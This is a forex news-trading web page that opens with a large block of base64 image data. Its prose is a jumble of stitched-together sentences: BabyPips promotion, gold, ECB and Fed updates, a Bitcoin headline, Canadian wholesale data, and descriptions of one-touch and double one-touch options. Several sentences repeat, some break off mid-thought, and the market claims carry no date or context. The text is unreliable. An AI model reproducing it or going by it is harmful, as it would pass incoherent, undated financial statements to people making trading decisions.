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" width="253px" alt="forex news trader"/></p>
<p><p>We&#8217;re also a community of traders that support each other on our daily trading journey. Expectations are already running high for a September Fed rate cut, but can the upcoming CPI release determine how large the reduction could be? We agree with markets that slowing US inflation over the summer has cleared the path for a faster &#8220;normalisation&#8221; of policy rates in the US. Choosing the appropriate currency pair is an important decision when “Trading the News”. While the markets react to most economic news from various countries, the biggest movers and most watched news come from the U.S. Despite the dollar’s initially positive reaction to the strong readout, the data release was not enough to reverse the broader momentum of the euro.</p>
</p>
<p><p>This week proved to be rough for risk assets as market players had to price in top tier less optimistic news &amp; data, most notably jobs updates from the U.S. There are times when sentiment in the equity markets will be the precursor to major moves in the currency market. Before developing a ‘Trade the News” strategy, we have to look at which news events are even worth trading. Pullbacks from last week’s moves and positioning ahead of this week’s catalysts got traders pushing the major assets all over the charts. With not a lot of fresh catalysts to consider, the markets are positioning themselves ahead of anticipated data releases on Wednesday and Thursday.</p>
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<p><p>When the markets are hotly debating the Fed’s next policy moves, U.S. labor market updates are guaranteed to make market players jittery. European Central Bank (ECB) policymakers announced their unanimous decision to lower their main deposit rate by 0.25% as expected, following its previous cut in June. The US Dollar (USD) faded the bullish performance witnessed in the previous week and resumed its downward path these past few days. Since spreads widen when news reports come out, it makes sense to stick with those pairs that have the tightest spreads, to begin with. The number of events scheduled can reach over a hundred on any given week! After staying under modest bearish pressure in the first half of the week, Gold (XAU/USD) benefited from falling US Treasury bond yields and reclaimed $2,500.</p>
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<p><h2>Bitcoin: $50,000 on the horizon if it breaks below key support level</h2>
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<ol>
<li>Gold preserves its bullish momentum and trades near $2,580 after setting a new record-high slightly above this level.</li>
<li>Even if its position has been eroded by setbacks, imbalances, and weaknesses, the strength and influence of the US dollar will not be matched anytime soon.</li>
<li>There are times when sentiment in the equity markets will be the precursor to major moves in the currency market.</li>
<li>The impact on the flow of buy and sell orders, on the other hand, is still very pronounced on the third day and is observable on the fourth day.</li>
<li>European Central Bank (ECB) policymakers announced their unanimous decision to lower their main deposit rate by 0.25% as expected, following its previous cut in June.</li>
<li>Generally, since the U.S. dollar is on the “other side” of 88% of all currency trades, U.S. economic releases tend to have the greatest impact on forex markets.</li>
</ol>
<p><p>One of the great advantages of trading currencies is that the forex market is open 24 hours a day, five days a week (from 5 p.m. Sunday until 4 p.m. Friday ET), and only the best forex brokers can help you navigate the market. Since markets move because of news, economic data is often the most important catalyst for short-term movements. This is particularly true in the currency market, which responds not only to U.S. economic numbers but also to news from around the world. Here, we look at which economic numbers are released and when, which data is most relevant to forex traders, and how traders can act on this market-moving information. A double no-touch option is the exact opposite of a double one-touch option. There are two barrier levels, but in this case, neither barrier level can be breached before expiration—otherwise, the option payout is not made.</p>
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<p><p>Forex traders should&nbsp;familiarize themselves with the key event risks that heavily impact the major currencies. A one-touch option only has one barrier level, which generally makes it slightly less expensive than a double one-touch option. The same criterion holds—the payout is only made if the barrier is breached prior to expiration. This is a good option to buy if you have a view on  whether the number will be stronger or weaker than the market&#8217;s consensus forecast. The BabyPips.com Economic Calendar highlights the important events and economic data that are being released by the countries with the most popularly traded currencies. Gold preserves its bullish momentum and trades near $2,580 after setting a new record-high slightly above this level.</p>
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<p><h2>Canada July wholesale sales +0.4% versus -1.1% expected</h2>
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<p><p>The 10-year US Treasury bond yield stays in the red below 3.7% as markets reassess the odds of a large Fed rate cut, helping XAU/USD push higher. Brace yourselves for another exciting trading week, forex fellas! We’ve got no less than top-tier U.S. inflation reports and a central bank decision, plus U.K. The major assets were all over the place as traders priced in their Fed rate cut biases, U.S. political updates, and top-tier U.K. Remember that we are trading the news because of its ability to increase volatility in the short term, so naturally, we would like to only trade news that has the best market-moving potential for the currency market.</p>
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<p><h2>A 50 basis point cut is now 50-50 for the Fed decision next week</h2>
</p>
<p><p>Data from crypto intelligence tracker shows that wallets of Bitcoin and Ethereum miners noted a decline in their holdings of the assets in the first half of the year.</p>
</p>
<p><h2>PXBT: Gold remains near record highs on the prospect of Fed rate cuts</h2>
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<p><p>Liquid currency pairs give us reassurance that our orders will be executed smoothly and without any “hiccups”. Being aware of upcoming key event risks can help avoid being on the wrong side of the market. We introduce people to the world of trading currencies, both fiat and crypto, through our non-drowsy educational content and tools.</p>
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<p><p>A double one-touch option is a good option for news releases because it is non-directional. As long as the barrier level is breached—even if the price reverses course later—the payout is made. Trading global news events is another widely followed form of trading; the economic impact on foreign and domestic markets can vary greatly depending on the country providing the information. The currency market is prone to short-term movements brought upon by economic data releases both in the U.S. and around the globe. By doing research, staying on top of important news, and properly managing risks, traders will have a firm foundation on which to benefit from news-driven trading.</p>
</p>
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tnv+jXzrkb2ejv7v36yPM15n444Z4mbbPi6r14PBvW8lkb2jyJnL2WfhPKJ6Z8eEtfLXE4e2Qu0ZknlLbJvZNevXgNkP8z2ZO8B/GNLofRZjNHdSpf5rHSS/U5E9T2f6WmR/e8o+km8fv1Lyf63/JMNX39XZD+wk02tNY74USqRt0kC+pcP0Y39KY4/e8n+pmFHN9Bb9nlw33mV+nLRPYBPboz3bfnyusXo3a10nc+Gi+yz91Kv+kNWHXGRffoS5bJPh693P4bsB/en7NzOXqDLXhXacvMk75OiI66y15evlWWY7fE9gF8WL/tCr55knyyjaGjz1zlL4/xoaZy7bPh6F5Vl76Hr/E6yz3CRfa9e6tTDDnXDkb2FjirLUNvjewCPLFv2pfaNvWR/Y5G9xl/Xu/NfemQfCd+nwzJ9/9c+l72XX0lx7htHY1TZO6y7TvYebI/uAXzhInuHE8277JtQqzDsejh0+gWrrAAtsheO/x2VZa8NF5G9px/E6iv7fMPnJHsftsf3AH4oPz1q76q8Sf43xbzyoylkn1K166H7+ltl/9dd9PM7SuUu3vxow1Eu+55PUFnoI/tSvxHGBgnGlL011VPM58X2mu8RPkBXbrS/2fm6KNnb7DqG7LOml1eRqpeyT97cZ8NRJnt/qh9B9j1b4qjlOk3T0KTLk+013SN8gE70kf2NMayNm1j2drsOlf3BIvv2Jfzl9QfNvcpeO7Cj0SJ7b7Yv+x7hA7jSV/bmg1OaX+SkU8i+LpAeKHtby0KXvnE8qr6n7KMZyz7yJnu5ZIQP0JGbqCxvQ3olwR+q05QuFtPK3lR9qW/Hw6FbF7t5E/GDvRl5x7IMZ6jsS0+3Hfq3sXdfcdQue4+2jxA+QDdqZK+kV2rc4Vv22rydPVTWa6XLdiV7V8M0durYrSx+GCL7fGNUs6hDeQNHoVX2/m0fIXwAd4xv/HqEW0qHOMi+8gCly7q1eTug9FqRvE32erfttUXpL/sxVN9f9qbY625CTIJRB0aQvVwLwgdwwCJ7SXbWOMle/0ZwY8zXtu6oe4Yha/RScbk+zUHrdFGXfV10aZG9m5r